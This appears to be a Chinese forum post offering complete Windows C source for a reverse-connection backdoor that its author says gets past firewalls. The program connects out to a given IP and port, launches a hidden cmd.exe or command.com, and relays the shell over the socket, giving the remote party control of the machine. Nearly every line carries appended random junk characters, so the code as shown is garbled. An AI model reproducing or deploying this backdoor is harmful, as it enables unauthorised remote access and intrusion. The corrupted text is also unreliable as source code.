这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X*7VDt=
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/* ============================== %=K [C
Rebound port in Windows NT "+O/OKfR0
By wind,2006/7 _Ad63.Uq))
===============================*/ h]i vXF*
#include XkUwO ]
#include @||nd,i`n~
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#pragma comment(lib,"wsock32.lib") It2:2
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void OutputShell(); _Hx'<%hhI
SOCKET sClient; TT;ls<(Lg
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9k9}57m.i
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void main(int argc,char **argv) x5g&?2[
{ I4qS8~+#
WSADATA stWsaData; H^o_B1
int nRet; '"Uhw$#t
SOCKADDR_IN stSaiClient,stSaiServer; $P8AU81
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if(argc != 3) 6,1oLvU
{ pfc"^Gi8
printf("Useage:\n\rRebound DestIP DestPort\n"); ?)<zzL",
return; Xep2)3k>
} _'y`hKeI[
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WSAStartup(MAKEWORD(2,2),&stWsaData); R $dNdd9m
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ntPX?/
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stSaiClient.sin_family = AF_INET; WCqa[=v)t
stSaiClient.sin_port = htons(0); yoieWnL}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <7Yh<(R e^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^g2Vz4u
{ M'X,7hZ
printf("Bind Socket Failed!\n"); @!ja/Y^
return; +S#Xm4
} XCxxm3t
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stSaiServer.sin_family = AF_INET; NTK9`#SA
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =%I;Y& K
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -#4QY70H t
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;U a48pSv
{ ?Ec{%N%
printf("Connect Error!"); GKUjtPu
return; k
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} rOYYZ)Qw
OutputShell(); hZo f
} 7#Fcn
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void OutputShell() lc [)Ev
{ LV$Ko_9eA
char szBuff[1024]; vq3:N'
SECURITY_ATTRIBUTES stSecurityAttributes; f4 +P2j
OSVERSIONINFO stOsversionInfo; }2c&ARQ.m>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e6 <9`Xg
STARTUPINFO stStartupInfo;
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char *szShell; >@a7Zzl0H
PROCESS_INFORMATION stProcessInformation; qv:DpK
unsigned long lBytesRead; -I*vl
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K0I.3|6C
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); CZy3]O"qW
stSecurityAttributes.lpSecurityDescriptor = 0; v/v PU
stSecurityAttributes.bInheritHandle = TRUE; qrZ3`@C4k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #tw_`yh
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bl10kI:F
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `q | )_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hc9ON&L\>
stStartupInfo.wShowWindow = SW_HIDE; jWvi%Iqi
stStartupInfo.hStdInput = hReadPipe; xd"+ &YT
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u2fp~.'P
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GetVersionEx(&stOsversionInfo); (?GW/pLK]
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switch(stOsversionInfo.dwPlatformId) 3=Uy t
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case 1: v<(+ l)Ln
szShell = "command.com"; $|[N3
break; PAC=LQn&
default: =CdrhP_
szShell = "cmd.exe"; 6p&uifY}tR
break; KP>1%ap6
} 2r+nr
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DH i@ujr
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send(sClient,szMsg,77,0); \W=Z`w3
while(1) ^;[_CF_
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @W==)S%O
if(lBytesRead) :>H{?
{ ug"4P.wI
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )7#3n(_np
send(sClient,szBuff,lBytesRead,0); N
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} TnKOr~ @*
else hOFvM&$
{ >r}?v3QW
lBytesRead=recv(sClient,szBuff,1024,0); .*W7Z8!e
if(lBytesRead<=0) break; Cy5iEI#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hl)jE
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} XW^Pz(
} _[l&{,
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return; uz20pun4B
}